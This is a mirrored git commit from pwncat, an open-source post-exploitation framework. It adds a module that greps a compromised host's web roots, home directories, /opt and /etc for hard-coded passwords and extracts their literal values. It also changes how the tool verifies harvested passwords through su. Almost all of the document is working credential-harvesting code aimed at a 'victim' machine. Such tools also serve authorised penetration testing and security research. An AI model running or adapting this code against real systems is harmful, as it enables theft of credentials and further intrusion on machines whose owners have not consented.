mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Added initial implementention of configuration searching for passwords. Also, sped up pwncat.victim.su using the timeout command.
This commit is contained in:
parent
b46ec274a2
commit
1f278bb5cc
114
pwncat/enumerate/passwords.py
Normal file
114
pwncat/enumerate/passwords.py
Normal file
@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
import os
|
||||
import re
|
||||
from typing import Generator, Optional
|
||||
|
||||
from colorama import Fore
|
||||
|
||||
import pwncat
|
||||
from pwncat.enumerate import FactData
|
||||
|
||||
name = "pwncat.enumerate.passwords"
|
||||
provides = "passwords"
|
||||
per_user = True
|
||||
always_run = False
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class Password(FactData):
|
||||
|
||||
path: str
|
||||
value: Optional[str]
|
||||
lineno: int
|
||||
line: str
|
||||
|
||||
def __str__(self):
|
||||
if self.value is not None:
|
||||
return (
|
||||
f"{Fore.YELLOW}{repr(self.value)}{Fore.RESET} from "
|
||||
f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}"
|
||||
)
|
||||
else:
|
||||
return (
|
||||
"Possible password at "
|
||||
f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}"
|
||||
)
|
||||
|
||||
@property
|
||||
def description(self):
|
||||
return self.line
|
||||
|
||||
|
||||
def enumerate() -> Generator[FactData, None, None]:
|
||||
"""
|
||||
Enumerate possible passwords in various files across the system
|
||||
:return:
|
||||
"""
|
||||
|
||||
# The locations we will search in for passwords
|
||||
locations = ["/var/www", "$HOME", "/opt", "/etc"]
|
||||
# The types of files which are "code". This means that we only recognize the
|
||||
# actual password if it is a literal value (enclosed in single or double quotes)
|
||||
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini"]
|
||||
grep = pwncat.victim.which("grep")
|
||||
|
||||
if grep is None:
|
||||
return
|
||||
|
||||
command = f"{grep} -InRiE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null"
|
||||
with pwncat.victim.subprocess(command, "r") as filp:
|
||||
for line in filp:
|
||||
line = line.decode("utf-8").strip().split(":")
|
||||
if len(line) < 3:
|
||||
print(line)
|
||||
continue
|
||||
path = line[0]
|
||||
lineno = int(line[1])
|
||||
content = ":".join(line[2:])
|
||||
|
||||
password = None
|
||||
|
||||
# Check for simple assignment
|
||||
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary in python with double quotes
|
||||
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary is perl
|
||||
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Don't mark empty passwords
|
||||
if password is not None and password == "":
|
||||
password = None
|
||||
|
||||
if password is not None:
|
||||
_, extension = os.path.splitext(path)
|
||||
|
||||
# Ensure that this is a constant string. For code file types,
|
||||
# this is normally indicated by the string being surrounded by
|
||||
# either double or single quotes.
|
||||
if extension in code_types:
|
||||
if password[-1] == ";":
|
||||
password = password[:-1]
|
||||
if password[0] == '"' and password[-1] == '"':
|
||||
password = password.strip('"')
|
||||
elif password[0] == "'" and password[-1] == "'":
|
||||
password = password.strip("'")
|
||||
else:
|
||||
# This wasn't assigned to a constant, it's not helpful to us
|
||||
password = None
|
||||
|
||||
# Empty quotes? :(
|
||||
if password == "":
|
||||
password = None
|
||||
|
||||
# This was a match for the search. We may have extracted a
|
||||
# password. Either way, log it.
|
||||
yield Password(path, password, lineno, ":".join(line))
|
@ -1362,8 +1362,14 @@ class Victim:
|
||||
raise PermissionError("no password provided and whoami != root!")
|
||||
|
||||
if current_user["uid"]["id"] != 0:
|
||||
timeout = self.which("timeout")
|
||||
if timeout is not None:
|
||||
command = f'timeout 0.5 su {user} -c "echo good" || echo failure'
|
||||
else:
|
||||
command = f'su {user} -c "echo good" || echo failure'
|
||||
|
||||
# Verify the validity of the password
|
||||
self.env(["su", user, "-c", "echo good"], wait=False)
|
||||
self.run(command, wait=False)
|
||||
self.recvuntil(b": ")
|
||||
self.client.send(password.encode("utf-8") + b"\n")
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user